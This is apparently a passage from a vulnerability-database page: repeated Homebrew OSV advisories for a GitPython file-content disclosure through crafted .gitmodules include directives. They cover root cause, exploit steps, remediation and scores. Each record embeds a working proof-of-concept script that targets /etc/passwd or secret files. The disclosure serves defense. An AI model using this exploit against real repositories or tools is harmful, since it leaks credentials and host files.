(`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-opentimestamps-client-CVE-2026-78675",
"modified": "2026-09-17T18:03:34Z",
"published": "2026-09-04T09:43:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
BREW-OTTERDOG-CVE-2026-78675 (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 09:44 – Updated: 2026-09-17 18:06 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "otterdog",
"purl": "pkg:brew/otterdog"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.1"
},
{
"fixed": "1.4.0_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-otterdog-CVE-2026-78675",
"modified": "2026-09-17T18:06:15Z",
"published": "2026-09-04T09:44:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
BREW-PYGITUP-CVE-2026-78675 (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 09:50 – Updated: 2026-09-17 18:17 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
